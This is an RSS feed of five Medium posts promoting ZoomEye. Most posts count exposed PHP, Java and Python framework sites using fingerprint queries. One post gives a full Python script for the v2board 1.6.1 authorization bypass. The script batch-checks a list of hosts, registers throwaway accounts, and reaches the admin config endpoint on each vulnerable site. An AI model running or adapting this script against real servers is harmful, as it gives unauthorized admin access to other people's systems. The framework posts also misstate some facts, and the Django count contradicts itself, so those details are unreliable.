<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by sshui on Medium]]></title>
        <description><![CDATA[Stories by sshui on Medium]]></description>
        <link>https://medium.com/@sshui?source=rss-5ced0bb7d5cf------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*6iPLr8rmjfEPKI1eLECosA.jpeg</url>
            <title>Stories by sshui on Medium</title>
            <link>https://medium.com/@sshui?source=rss-5ced0bb7d5cf------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 05:20:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sshui/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PHP Framework Popularity Statistics]]></title>
            <link>https://medium.com/@sshui/php-framework-popularity-statistics-793f98898957?source=rss-5ced0bb7d5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/793f98898957</guid>
            <category><![CDATA[zoomeye]]></category>
            <category><![CDATA[laravel]]></category>
            <category><![CDATA[framework]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[thinkphp]]></category>
            <dc:creator><![CDATA[sshui]]></dc:creator>
            <pubDate>Wed, 03 Apr 2024 06:04:54 GMT</pubDate>
            <atom:updated>2024-04-03T06:04:54.029Z</atom:updated>
            <content:encoded><![CDATA[<p>In today’s digital age, PHP, as a popular server-side scripting language, continues to gain immense popularity in the field of website development. This article will delve into the statistical data and characteristics of popular PHP frameworks in the cyberspace.</p><p>PHP (Hypertext Preprocessor) was created by Rasmus Lerdorf in 1994, initially for personal use. Over time, it has evolved into a widely used programming language for creating dynamic websites and applications. PHP is renowned for its unique features, making it the preferred language for developers:</p><ul><li>Cross-platform: PHP supports multiple operating systems such as Windows, Linux, and Mac OS X, providing developers with flexibility in their work.</li><li>Embeddable: PHP can be embedded within HTML, allowing developers to mix it with other languages such as JavaScript, WML, and XML.</li><li>Database Integration: PHP integrates well with various databases, particularly with MySQL, making it highly popular in website development.</li><li>Open Source: PHP is free and open-source, with extensive community support and resources.</li><li>Easy to Learn: PHP has a simple syntax, making it easy for beginners to pick up, making it suitable for novices.</li></ul><h3>Mainstream Frameworks</h3><p>PHP has several mainstream frameworks, each with its unique characteristics and use cases.</p><h3>CakePHP</h3><p>CakePHP is a fast, open-source, and independent PHP framework used for creating small to medium-sized web applications. Its goal is to reduce development time and lower the learning curve.</p><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22set-cookie%3A%20CAKEPHP%22&amp;from=medium">“set-cookie: CAKEPHP”</a></p><p>Assets Discovered by ZoomEye: 67,197</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ComHrkeLoaLyq1cuKo8fVQ.png" /></figure><h3>CodeIgniter</h3><p>CodeIgniter is a lightweight, flexible, fast, and simple PHP framework suitable for rapid development of enterprise-level applications.</p><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22set-cookie%3A%20ci_session%22&amp;from=medium">“set-cookie: ci_session”</a></p><p>Assets Discovered by ZoomEye: 355,769</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xA4-IxxfY-KB2y0YFVo0Rw.png" /></figure><h3>Fat-Free</h3><p>Fat-Free is a concise, fast, lightweight PHP framework used for creating RESTful APIs and web applications.</p><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22x-powered-by%3A%20Fat-Free%20Framework%22&amp;from=medium">“x-powered-by: Fat-Free Framework”</a></p><p>Assets Discovered by ZoomEye: 69,636</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XybMZGG4vRSoxrFmth8Nkg.png" /></figure><h3>Laravel</h3><p>Laravel is one of the most popular PHP frameworks known for its elegant syntax and powerful feature set. It offers many advanced features such as MVC architecture, object-relational mapping, authentication, etc.</p><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22set-cookie%3A%20laravel_session%22%20%22laravel%2Fframework%22&amp;from=medium">“set-cookie: laravel_session” “laravel/framework”</a></p><p>Assets Discovered by ZoomEye: 798,196</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LweVdkZyYW-oNlr2UDuPhA.png" /></figure><h3>Nette</h3><p>Nette is a PHP framework for creating high-quality web applications. It emphasizes security, performance, and an easy-to-use API.</p><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22set-cookie%3A%20nette-browser%22%20%22x-powered-by%3A%20nette%20framework%22&amp;from=medium">“set-cookie: nette-browser” “x-powered-by: nette framework”</a></p><p>Assets Discovered by ZoomEye: 12,978</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UK6aya8_NRzyPFlZ2jlMTA.png" /></figure><h3>Symfony</h3><p>Symfony is a framework for building high-performance, scalable PHP applications. It provides a vast array of components and tools to help developers quickly build complex applications.</p><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22set-cookie%3A%20symfony%22&amp;from=medium">“set-cookie: symfony”</a></p><p>Assets Discovered by ZoomEye: 31,011</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gNL4U5kCeRIVsJrZSkschw.png" /></figure><h3>ThinkPHP</h3><p>ThinkPHP is a simple, fast, and flexible PHP framework suitable for developing small to medium-sized web applications.</p><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22x-powered-by%3A%20thinkphp%22&amp;from=medium">“x-powered-by: thinkphp”</a></p><p>Assets Discovered by ZoomEye: 268,181</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B5Yr2ljU1kW7DFZZeFSLpA.png" /></figure><h3>Conclusion</h3><p>PHP, as a mature programming language, still holds a significant position in the field of website development. Its rich selection of frameworks provides developers with powerful tools to meet various development needs. By analyzing the number of assets developed using major PHP frameworks in cyberspace, we can understand the popularity of each framework in the market. Laravel and CodeIgniter stand out in particular, indicating their popularity among developers. These data are invaluable for understanding market trends, conducting security audits, and analyzing market shares of specific frameworks.</p><p>I will often share interesting ZoomEye syntax on my homepage: <a href="https://twitter.com/sshui2333">sshui2333</a></p><p>You are also welcome to join the official discussion group.<br>Telegram channel: <a href="https://t.me/+dUkJzl6rPHxjNDIx">https://t.me/+dUkJzl6rPHxjNDIx</a><br>facebook group: <a href="https://www.facebook.com/groups/909299587651507">https://www.facebook.com/groups/909299587651507</a><br>discord group: <a href="https://discord.gg/GtHdyZbuFv">https://discord.gg/GtHdyZbuFv</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=793f98898957" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Java Framework Popularity Overview]]></title>
            <link>https://medium.com/@sshui/java-framework-popularity-overview-6d46a93c888a?source=rss-5ced0bb7d5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d46a93c888a</guid>
            <category><![CDATA[zoomeye]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[spring-boot]]></category>
            <category><![CDATA[struct]]></category>
            <category><![CDATA[framework]]></category>
            <dc:creator><![CDATA[sshui]]></dc:creator>
            <pubDate>Tue, 02 Apr 2024 01:31:31 GMT</pubDate>
            <atom:updated>2024-04-02T01:31:31.766Z</atom:updated>
            <content:encoded><![CDATA[<p>Java, as a veteran member of the programming world, has held a significant position in enterprise application development since its inception in 1995. Its cross-platform capability, stability, and mature ecosystem make it the preferred language for many developers. In the March 2024 TIOBE index of the most popular programming languages, Java ranks fourth, just behind Python, C, and C++. Java’s sustained popularity is attributed to its numerous development frameworks, which provide convenient programming patterns and solutions, enabling Java developers to efficiently build complex applications.</p><h3>Overview of Mainstream Java Frameworks</h3><p>Among the numerous Java frameworks, here are some widely used enterprise and lightweight frameworks:</p><ul><li>Spring: Spring is an indispensable framework in Java development, renowned for its comprehensive Inversion of Control (IoC) and Dependency Injection (DI) features. It provides a comprehensive solution for enterprise-level development in Java applications.</li><li>Apache Struts: Struts is a framework for creating enterprise-level Java web applications, based on the Model-View-Controller (MVC) architectural pattern.</li><li>Apache Shiro: Shiro is a concise Java security framework that provides features such as authentication, authorization, encryption, and session management.</li><li>Apache Wicket: Wicket is a Java framework for building complex web applications, constructing user interfaces through a component-based approach.</li><li>JeeSite: An open-source enterprise-level one-stop development platform based on Java EE, integrating various commonly used enterprise application functionalities.</li><li>Spring Blade: Blade is a Java framework for microservices architecture, known for its “lightweight, high-performance” characteristics.</li><li>Spring Boot: Spring Boot aims to simplify the creation and deployment process of Spring applications, providing capabilities for automatic configuration and rapid startup.</li></ul><h3>Framework Asset Inventory Statistics</h3><p>To understand the current popularity of these frameworks in practical applications, we utilized the network space mapping engine ZoomEye to conduct an inventory of assets related to these frameworks. These statistical data can provide us with some clues, but please note that these data may change over time and only represent a snapshot of a certain point in the past.</p><h3>Spring</h3><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22org.springframework.%22&amp;from=medium">“org.springframework.”</a></p><p>Assets Detected by ZoomEye: 114,468</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U8GNRC5OY1AGDriuBCCBaA.png" /></figure><h3>Struts2</h3><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22set-cookie%3A%20org.apache.struts%22%20%22Struts2%20Showcase%20for%20Apache%20Struts%20Project%22&amp;from=medium">“set-cookie: org.apache.struts” “Struts2 Showcase for Apache Struts Project”</a></p><p>Assets Detected by ZoomEye: 447</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zr6vjVX6HGP8aHWggVZz5w.png" /></figure><h3>Apache Shiro</h3><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22Shiro%3C%2Fli%3E%22%20%22Set-Cookie%3A%20shirocookie%22%20%22Set-Cookie%3A%20rememberMe%3DdeleteMe%22&amp;from=medium">“Shiro&lt;/li&gt;” “Set-Cookie: shirocookie” “Set-Cookie: rememberMe=deleteMe”</a></p><p>Assets Detected by ZoomEye: 151,408</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AYQsjxsi8nWn1zg86WZp5A.png" /></figure><h3>Apache Wicket</h3><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22xmlns%3Awicket%3D%5C%22%22%20%22wicket%2Fresource%2F%22%20%22%2Forg.apache.wicket.%22&amp;from=medium">“xmlns:wicket=\”” “wicket/resource/” “/org.apache.wicket.”</a></p><p>Assets Detected by ZoomEye: 129,276</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tN897mmnUg6JCjIlCTvQVA.png" /></figure><h3>JeeSite</h3><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=%22set-cookie%3A%20jeesite.session.id%22&amp;from=medium">“set-cookie: jeesite.session.id”</a></p><p>Assets Detected by ZoomEye: 14,806</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Re9qs7AC-in3sv7rBmAUsw.png" /></figure><h3>Spring Blade</h3><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=iconhash%3D%22ff391e7428ceef76c459f77275a67c81%22%20(%22%E5%88%9D%E6%AC%A1%E5%8A%A0%E8%BD%BD%E8%B5%84%E6%BA%90%E5%8F%AF%E8%83%BD%E9%9C%80%E8%A6%81%E8%BE%83%E5%A4%9A%E6%97%B6%E9%97%B4%20%E8%AF%B7%E8%80%90%E5%BF%83%E7%AD%89%E5%BE%85%22%20%2B%22avue-home__footer%3E%3Ca%20href%3Dhttps%3A%2F%2Fbladex.vip%22)&amp;from=medium">iconhash=”ff391e7428ceef76c459f77275a67c81&quot; (“初次加载资源可能需要较多时间 请耐心等待” +”avue-home__footer&gt;&lt;a href=https://bladex.vip&quot;)</a></p><p>Assets Detected by ZoomEye: 7,094</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tGlDhngsI98ejhXO7aUbbw.png" /></figure><h3>Spring Boot</h3><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=title%3A%22Eureka%22%20iconhash%3A%220488faca4c19046b94d07c3ee83cf9d6%22&amp;from=medium">title:”Eureka” iconhash:”0488faca4c19046b94d07c3ee83cf9d6&quot;</a></p><p>Assets Detected by ZoomEye: 476,248</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*flm9xMLLz3RTbVpKWxQvow.png" /></figure><p>Based on the above statistical data, we can draw the following conclusions:</p><ul><li>Spring Boot has the highest asset inventory, indicating its popularity in enterprise applications and its leadership position in the current Java ecosystem.</li><li>Apache Shiro and Apache Wicket also have relatively high asset inventories, reflecting their widespread applications in specific domains.</li><li>Struts2 has a relatively low asset inventory, which may be related to its past security vulnerabilities, leading some users to switch to other frameworks.</li></ul><h3>Conclusion</h3><p>The diversity and flexibility of Java frameworks are key factors in maintaining their position in the competitive programming language market. Each framework has its unique strengths and application scenarios, and developers should choose the appropriate framework based on project requirements and team expertise.</p><p>I will often share interesting ZoomEye syntax on my homepage: <a href="https://twitter.com/sshui2333">sshui2333</a></p><p>You are also welcome to join the official discussion group.<br>Telegram channel: <a href="https://t.me/+dUkJzl6rPHxjNDIx">https://t.me/+dUkJzl6rPHxjNDIx</a><br>facebook group: <a href="https://www.facebook.com/groups/909299587651507">https://www.facebook.com/groups/909299587651507</a><br>discord group: <a href="https://discord.gg/GtHdyZbuFv">https://discord.gg/GtHdyZbuFv</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d46a93c888a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Django vs. Flask: Who Has More Users?]]></title>
            <link>https://medium.com/@sshui/django-vs-flask-who-has-more-users-721555f2fe0f?source=rss-5ced0bb7d5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/721555f2fe0f</guid>
            <category><![CDATA[flask]]></category>
            <category><![CDATA[django]]></category>
            <category><![CDATA[zoomeye]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[sshui]]></dc:creator>
            <pubDate>Mon, 01 Apr 2024 05:56:59 GMT</pubDate>
            <atom:updated>2024-04-01T06:33:03.735Z</atom:updated>
            <content:encoded><![CDATA[<p>Python, an easy-to-learn and highly flexible programming language, has long established itself in the realm of web development. Thanks to its robust standard library and extensive ecosystem, Python supports developers in rapidly building high-quality web applications. Among the numerous web development frameworks, Django and Flask stand out as two of the most popular. They both offer powerful features and relatively simple learning curves, yet they differ in terms of community acceptance, use cases, and performance.</p><h3>Django: The Comprehensive Framework</h3><p>Django, developed by the programmers of the British magazine “Lawrence World Sports,” has been one of the de facto standards for Python web development since its release in 2005. Django emphasizes the principle of “convention over configuration,” which means it helps developers kickstart projects quickly through a series of predefined rules and best practices. Django provides comprehensive features including Object-Relational Mapping (ORM), an automated admin interface, built-in URL routing, and a template engine. These characteristics make Django ideal for building complex, database-intensive web applications such as news websites, social networks, and e-commerce platforms.</p><h3>Flask: The Flexible Lightweight Option</h3><p>In contrast, Flask, developed by Armin Ronacher, is a lightweight web application framework released in 2010. Flask does not impose predefined rules; instead, it offers a simple toolbox that allows developers to add features according to their needs freely. This flexibility makes Flask an ideal choice for building small applications, RESTful APIs, and prototypes. Flask’s core features include routing, a template engine, and session management, while it also supports a plethora of extensions such as Flask-SQLAlchemy and Flask-RESTful, significantly enhancing its functionality.</p><h3>Comparison of Web Asset Counts</h3><h3>Django</h3><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=app%3A%22Django%22&amp;from=medium">app:”Django”</a></p><p>ZoomEye Mapped Count: 106,158</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MaI-WnelQ0p5ZxsVTvILoA.png" /></figure><h3>Flask</h3><p>ZoomEye Syntax: <a href="https://www.zoomeye.hk/searchResult?q=app%3A%22Flask%22&amp;from=medium">app:”Flask”</a></p><p>ZoomEye Mapped Count: 4,012</p><p>According to the mapping data from the web space search engine ZoomEye, the number of web applications exposed on the Internet using the Django framework exceeds 106,991, while the number using the Flask framework is approximately 4,013. From a quantitative perspective, the user base of Django is significantly larger. This may reflect the widespread adoption of Django in enterprise-level applications and its status as a more mature and stable framework.</p><p>However, the smaller number of Flask users does not necessarily imply a smaller advantage. Flask’s design philosophy of being “simple and flexible” makes it very popular in scenarios that require rapid development and lightweight applications. Furthermore, although Flask’s community is smaller, it is very active and friendly, which is helpful for problem-solving and sharing best practices.</p><h3>Summary</h3><p>Although Flask and Django are both popular Python web frameworks, they have differences in terms of performance and cost. Django, as a feature-rich framework, is more suitable for large, complex web application development. Its built-in features and components, such as ORM, admin interface, etc., enable it to handle complex business logic and the requirements of large-scale applications. On the other hand, Flask, with its lightweight nature and flexibility, is more suitable for rapid prototyping and small projects.</p><p>The choice between Flask and Django depends on factors such as project scale, complexity, performance requirements, and the preferences of the development team. Regardless of which framework is chosen, it is important to leverage its strengths to build high-quality, maintainable web applications.</p><p>I will often share interesting ZoomEye syntax on my homepage: <a href="https://twitter.com/sshui2333">sshui2333</a></p><p>You are also welcome to join the official discussion group.<br>Telegram channel: <a href="https://t.me/+dUkJzl6rPHxjNDIx">https://t.me/+dUkJzl6rPHxjNDIx</a><br>facebook group: <a href="https://www.facebook.com/groups/909299587651507">https://www.facebook.com/groups/909299587651507</a><br>discord group: <a href="https://discord.gg/GtHdyZbuFv">https://discord.gg/GtHdyZbuFv</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=721555f2fe0f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writing a POC for the v2board authorization vulnerability]]></title>
            <link>https://medium.com/@sshui/writing-a-poc-for-the-v2board-authorization-vulnerability-2d823d69d052?source=rss-5ced0bb7d5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d823d69d052</guid>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[zoomeye]]></category>
            <category><![CDATA[v2board]]></category>
            <dc:creator><![CDATA[sshui]]></dc:creator>
            <pubDate>Thu, 28 Mar 2024 06:19:31 GMT</pubDate>
            <atom:updated>2024-03-28T06:27:37.595Z</atom:updated>
            <content:encoded><![CDATA[<h3>Project Introduction</h3><p>v2board is an open-source proxy project.</p><p>Using ZoomEye search: <a href="https://www.zoomeye.hk/searchResult?q=app%3A%22v2board%22&amp;from=medium">app:&quot;v2board&quot;</a>, you can find 8468 assets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FqSne1NE924ptQchDt7g-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TNGBmjhnGSk5zpShA6VC6g.png" /></figure><h3>Vulnerability Description</h3><p>In version 1.6.1 of v2board, there exists an authorization bypass vulnerability. Due to the introduction of a caching mechanism for user sessions in v2board, the server stores user authentication information in a Redis cache. However, the program does not perform proper authorization checks for regular users and administrator users after implementing Redis caching. As a result, regular users can directly access administrator interfaces after logging in.</p><p>To exploit this vulnerability, we need to meet the following conditions:</p><ol><li>Register a regular account.</li><li>Log in with the regular account to obtain auth_data.</li><li>Use auth_data as the value of the authorization request header to access the /api/v1/user/* interface.</li><li>Access interfaces that only administrators can access and compare the response status code to determine if the exploit was successful.</li></ol><p>By comparing versions 1.6.1 and 1.7.0, we can observe significant differences in the data returned during authentication handling. We can use this difference to filter out parts of the website that do not contain the vulnerability in the first step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BOU3KhJyhnlXFGYpn2eHrA.png" /><figcaption>version 1.6.1</figcaption></figure><p>In this piece of code, it checks whether authorization exists in Redis. If it does, access to the admin interface is granted. However, the program does not further verify the authorization to check if it belongs to an administrator. In version 1.7.0, this part of the code removed the logic for checking from the cache.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*G23dgRziuL01MTXEFu3_FA.png" /><figcaption>version 1.7.0</figcaption></figure><p>Additionally, v2board’s registration process has certain limitations. Some sites allow registration without any verification, while others require email verification, and some even require invitation code verification. Therefore, we also need to filter this part accordingly.</p><p>After solving the above issues, we can write the following POC code.</p><pre>import random<br>import requests<br>import urllib3<br><br>headers = {<br>    &#39;authorization&#39;: &#39;1&#39;,<br>    &#39;user-agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36&#39;,<br>}<br><br>proxy = {<br>    &#39;http&#39;: &#39;http://proxy_host_name&#39;,<br>    &#39;https&#39;: &#39;http://proxy_host_name&#39;<br>}<br><br><br>def poc(target):<br>    path = &#39;/api/v1/admin/config/fetch&#39;<br>    url = f&quot;{target}{path}&quot;.replace(&#39;//api&#39;, &#39;/api&#39;)<br>    urllib3.disable_warnings()<br>    r = requests.get(url, headers=headers, verify=False, proxies=proxy)<br>    if r.status_code == 403 and &#39;\\u9274\\u6743\\u5931\\u8d25&#39; in r.text:<br>        print(f&quot;[+] {target} There is a loophole!&quot;)<br>        return True<br>    else:<br>        print(f&quot;[-] {target} There is no loophole!&quot;)<br>        return False<br><br><br>def check_verify(target):<br>    path = &#39;/api/v1/guest/comm/config&#39;<br>    url = f&quot;{target}{path}&quot;.replace(&#39;//api&#39;, &#39;/api&#39;)<br>    resp = requests.get(url, headers=headers, proxies=proxy).json()[&#39;data&#39;]<br>    if not resp[&#39;is_invite_force&#39;] and not resp[&#39;is_email_verify&#39;]:<br>        print(f&quot;[+] The target does not require email verification and can directly obtain permissions.&quot;)<br>        return True<br>    elif resp[&#39;is_invite_force&#39;]:<br>        print(f&quot;[-] The target requires invitation to register and cannot obtain permission!&quot;)<br>        return False<br>    elif resp[&#39;is_email_verify&#39;]:<br>        print(f&quot;[-] The target needs to obtain an email verification code for further use!&quot;)<br>        return False<br><br><br>def registry_acc(target):<br>    rand_num = str(random.random())[8:]<br>    email = rand_num + &#39;@gmail.com&#39;<br>    passwd = rand_num<br><br>    data = {<br>        &#39;email&#39;: email,<br>        &#39;password&#39;: passwd,<br>        &#39;invite_code&#39;: &#39;&#39;,<br>        &#39;email_code&#39;: &#39;&#39;<br>    }<br>    path = &#39;/api/v1/passport/auth/register&#39;<br>    url = f&quot;{target}{path}&quot;.replace(&#39;//api&#39;, &#39;/api&#39;)<br><br>    r = requests.post(url, headers=headers, data=data, proxies=proxy)<br>    if r.status_code == 200:<br>        print(f&quot;[+] The currently randomly registered account is {email}, the password is{passwd}&quot;)<br>        return email, passwd<br>    else:<br>        print(f&quot;[-] Target has closed account registration!&quot;)<br>        return &#39;&#39;, &#39;&#39;<br><br><br>def login(target, email, passwd):<br>    data = {<br>        &#39;email&#39;: email,<br>        &#39;password&#39;: passwd<br>    }<br>    path = &#39;/api/v1/passport/auth/login&#39;<br>    url = f&quot;{target}{path}&quot;.replace(&#39;//api&#39;, &#39;/api&#39;)<br>    r = requests.post(url, headers=headers, data=data, proxies=proxy)<br>    if r.status_code == 200:<br>        print(&#39;[+] Account login successful!&#39;)<br>        auth_data = r.json()[&#39;data&#39;][&#39;auth_data&#39;]<br>        headers[&#39;authorization&#39;] = auth_data<br>        requests.get(f&#39;{target}/api/v1/user/info&#39;, headers=headers, proxies=proxy)<br>        requests.get(f&#39;{target}/api/v1/user/getStat&#39;, headers=headers, proxies=proxy)<br>        return auth_data<br>    else:<br>        print(&#39;[-] Account login failed!&#39;)<br>        return &#39;&#39;<br><br><br>def dump(target):<br>    path = &#39;/api/v1/admin/config/fetch&#39;<br>    url = str(f&#39;{target}{path}&#39;).replace(&#39;//api&#39;, &#39;/api&#39;)<br>    urllib3.disable_warnings()<br>    resp = requests.get(url, headers=headers, timeout=60, verify=False, proxies=proxy)<br>    if resp.status_code == 200:<br>        print(&#39;[+] Fetched successfully&#39;)<br>        return True<br>    print(&#39;[-] Fetch failed&#39;)<br>    return False<br><br><br>def get_target(filepath):<br>    with open(filepath, &#39;r&#39;) as file:<br>        return [str(item).strip() for item in file]<br><br><br>def save_data(filepath, data):<br>    with open(filepath, &#39;w&#39;) as file:<br>        for item in data:<br>            file.write(f&#39;{item}\n&#39;)<br><br><br>if __name__ == &#39;__main__&#39;:<br>    filepath = &#39;data/v2board_all.txt&#39;<br>    output_file = &#39;data/v2board_output.txt&#39;<br>    target_list = get_target(filepath=filepath)<br>    sample = []<br>    for target in target_list:<br>        try:<br>            if not poc(target):<br>                continue<br>            if not check_verify(target):<br>                continue<br>            email, passwd = registry_acc(target)<br>            if not email:<br>                continue<br>            if login(target=target, email=email, passwd=passwd):<br>                if dump(target):<br>                    sample.append(target)<br>        except Exception as msg:<br>            print(f&#39;[-] error:{msg}&#39;)<br>    print(sample)<br>    save_data(filepath=output_file, data=sample)</pre><h3>Summary</h3><p>We won’t be sharing the specific exploit for this vulnerability. By putting the targets into data/v2board_all.txt, we can achieve batch validation.</p><p>For more information, please join the Tg group: <a href="https://t.me/zoomeye_chat">https://t.me/zoomeye_chat</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d823d69d052" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why don’t you like using Apache Forrest?]]></title>
            <link>https://medium.com/@sshui/why-dont-you-like-using-apache-forrest-5423251e31a7?source=rss-5ced0bb7d5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/5423251e31a7</guid>
            <dc:creator><![CDATA[sshui]]></dc:creator>
            <pubDate>Thu, 21 Mar 2024 01:18:08 GMT</pubDate>
            <atom:updated>2024-03-21T01:18:08.550Z</atom:updated>
            <content:encoded><![CDATA[<p>Isn’t Apache Forrest quite easy to use? Why are so few tissues used? Can anyone give an answer?</p><p>Using <a href="https://www.zoomeye.hk/searchResult?q=%22%3Cmeta%20content%3D%5C%22Apache%20Forrest%5C%22%20name%3D%5C%22Generator%5C%22%3E%22">ZoomEye</a> I found only 561 organizations using Apache Forrest.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5423251e31a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>